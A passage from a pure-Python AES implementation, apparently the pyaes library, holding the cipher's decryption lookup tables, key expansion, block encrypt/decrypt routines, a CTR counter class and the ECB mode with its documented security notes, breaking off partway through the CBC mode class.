0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]\n\n    # Transformations for decryption key expansion\n    U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]\n    U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]\n    U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]\n    U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]\n\n    def __init__(self, key):\n\n        if len(key) not in (16, 24, 32):\n            raise ValueError('Invalid key size')\n\n        rounds = self.number_of_rounds[len(key)]\n\n        # Encryption round keys\n        self._Ke = [[0] * 4 for i in xrange(rounds + 1)]\n\n        # Decryption round keys\n        self._Kd = [[0] * 4 for i in xrange(rounds + 1)]\n\n        round_key_count = (rounds + 1) * 4\n        KC = len(key) // 4\n\n        # Convert the key into ints\n        tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]\n\n        # Copy values into round key arrays\n        for i in xrange(0, KC):\n            self._Ke[i // 4][i % 4] = tk[i]\n            self._Kd[rounds - (i // 4)][i % 4] = tk[i]\n\n        # Key expansion (fips-197 section 5.2)\n        rconpointer = 0\n        t = KC\n        while t < round_key_count:\n\n            tt = tk[KC - 1]\n            tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^\n                      (self.S[(tt >>  8) & 0xFF] << 16) ^\n                      (self.S[ tt        & 0xFF] <<  8) ^\n                       self.S[(tt >> 24) & 0xFF]        ^\n                      (self.rcon[rconpointer] << 24))\n            rconpointer += 1\n\n            if KC != 8:\n                for i in xrange(1, KC):\n                    tk[i] ^= tk[i - 1]\n\n            # Key expansion for 256-bit keys is \"slightly different\" (fips-197)\n            else:\n                for i in xrange(1, KC // 2):\n                    tk[i] ^= tk[i - 1]\n                tt = tk[KC // 2 - 1]\n\n                tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^\n                               (self.S[(tt >>  8) & 0xFF] <<  8) ^\n                               (self.S[(tt >> 16) & 0xFF] << 16) ^\n                               (self.S[(tt >> 24) & 0xFF] << 24))\n\n                for i in xrange(KC // 2 + 1, KC):\n                    tk[i] ^= tk[i - 1]\n\n            # Copy values into round key arrays\n            j = 0\n            while j < KC and t < round_key_count:\n                self._Ke[t // 4][t % 4] = tk[j]\n                self._Kd[rounds - (t // 4)][t % 4] = tk[j]\n                j += 1\n                t += 1\n\n        # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)\n        for r in xrange(1, rounds):\n            for j in xrange(0, 4):\n                tt = self._Kd[r][j]\n                self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^\n                                  self.U2[(tt >> 16) & 0xFF] ^\n                                  self.U3[(tt >>  8) & 0xFF] ^\n                                  self.U4[ tt        & 0xFF])\n\n    def encrypt(self, plaintext):\n        'Encrypt a block of plain text using the AES block cipher.'\n\n        if len(plaintext) != 16:\n            raise ValueError('wrong block length')\n\n        rounds = len(self._Ke) - 1\n        (s1, s2, s3) = [1, 2, 3]\n        a = [0, 0, 0, 0]\n\n        # Convert plaintext to (ints ^ key)\n        t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]\n\n        # Apply round transforms\n        for r in xrange(1, rounds):\n            for i in xrange(0, 4):\n                a[i] = (self.T1[(t[ i          ] >> 24) & 0xFF] ^\n                        self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^\n                        self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^\n                        self.T4[ t[(i + s3) % 4]        & 0xFF] ^\n                        self._Ke[r][i])\n            t = copy.copy(a)\n\n        # The last round is special\n        result = [ ]\n        for i in xrange(0, 4):\n            tt = self._Ke[rounds][i]\n            result.append((self.S[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)\n            result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)\n            result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)\n            result.append((self.S[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)\n\n        return result\n\n    def decrypt(self, ciphertext):\n        'Decrypt a block of cipher text using the AES block cipher.'\n\n        if len(ciphertext) != 16:\n            raise ValueError('wrong block length')\n\n        rounds = len(self._Kd) - 1\n        (s1, s2, s3) = [3, 2, 1]\n        a = [0, 0, 0, 0]\n\n        # Convert ciphertext to (ints ^ key)\n        t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]\n\n        # Apply round transforms\n        for r in xrange(1, rounds):\n            for i in xrange(0, 4):\n                a[i] = (self.T5[(t[ i          ] >> 24) & 0xFF] ^\n                        self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^\n                        self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^\n                        self.T8[ t[(i + s3) % 4]        & 0xFF] ^\n                        self._Kd[r][i])\n            t = copy.copy(a)\n\n        # The last round is special\n        result = [ ]\n        for i in xrange(0, 4):\n            tt = self._Kd[rounds][i]\n            result.append((self.Si[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)\n            result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)\n            result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)\n            result.append((self.Si[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)\n\n        return result\n\n\nclass Counter(object):\n    '''A counter object for the Counter (CTR) mode of operation.\n\n       To create a custom counter, you can usually just override the\n       increment method.'''\n\n    def __init__(self, initial_value = 1):\n\n        # Convert the value into an array of bytes long\n        self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]\n\n    value = property(lambda s: s._counter)\n\n    def increment(self):\n        '''Increment the counter (overflow rolls back to 0).'''\n\n        for i in xrange(len(self._counter) - 1, -1, -1):\n            self._counter[i] += 1\n\n            if self._counter[i] < 256: break\n\n            # Carry the one\n            self._counter[i] = 0\n\n        # Overflow\n        else:\n            self._counter = [ 0 ] * len(self._counter)\n\n\nclass AESBlockModeOfOperation(object):\n    '''Super-class for AES modes of operation that require blocks.'''\n    def __init__(self, key):\n        self._aes = AES(key)\n\n    def decrypt(self, ciphertext):\n        raise Exception('not implemented')\n\n    def encrypt(self, plaintext):\n        raise Exception('not implemented')\n\n\nclass AESStreamModeOfOperation(AESBlockModeOfOperation):\n    '''Super-class for AES modes of operation that are stream-ciphers.'''\n\nclass AESSegmentModeOfOperation(AESStreamModeOfOperation):\n    '''Super-class for AES modes of operation that segment data.'''\n\n    segment_bytes = 16\n\n\n\nclass AESModeOfOperationECB(AESBlockModeOfOperation):\n    '''AES Electronic Codebook Mode of Operation.\n\n       o Block-cipher, so data must be padded to 16 byte boundaries\n\n   Security Notes:\n       o This mode is not recommended\n       o Any two identical blocks produce identical encrypted values,\n         exposing data patterns. (See the image of Tux on wikipedia)\n\n   Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''\n\n\n    name = \"Electronic Codebook (ECB)\"\n\n    def encrypt(self, plaintext):\n        if len(plaintext) != 16:\n            raise ValueError('plaintext block must be 16 bytes')\n\n        plaintext = _string_to_bytes(plaintext)\n        return _bytes_to_string(self._aes.encrypt(plaintext))\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) != 16:\n            raise ValueError('ciphertext block must be 16 bytes')\n\n        ciphertext = _string_to_bytes(ciphertext)\n        return _bytes_to_string(self._aes.decrypt(ciphertext))\n\n\n\nclass AESModeOfOperationCBC(AESBlockModeOfOperation):\n    '''AES Cipher-Block Chaining Mode of Operation.\n\n       o The Initialization Vector (IV)\n       o Block-cipher, so data must be padded to 16 byte boundaries\n       o An incorrect initialization vector will only cause the first\n         block to be corrupt; all other blocks will be intact\n       o A corrupt bit in the cipher text will cause a block to be\n         corrupted, and the next block to be inverted, but all other\n         blocks will be intact.\n\n   Security Notes:\n       o This method (and CTR) ARE recommended.\n\n   Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''\n\n\n    name = \"Cipher-Block Chaining (CBC)\"\n\n    def __init__(self, key, iv = None):\n        if iv is None:\n            self._last_cipherblock = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n            self._last_cipherblock = 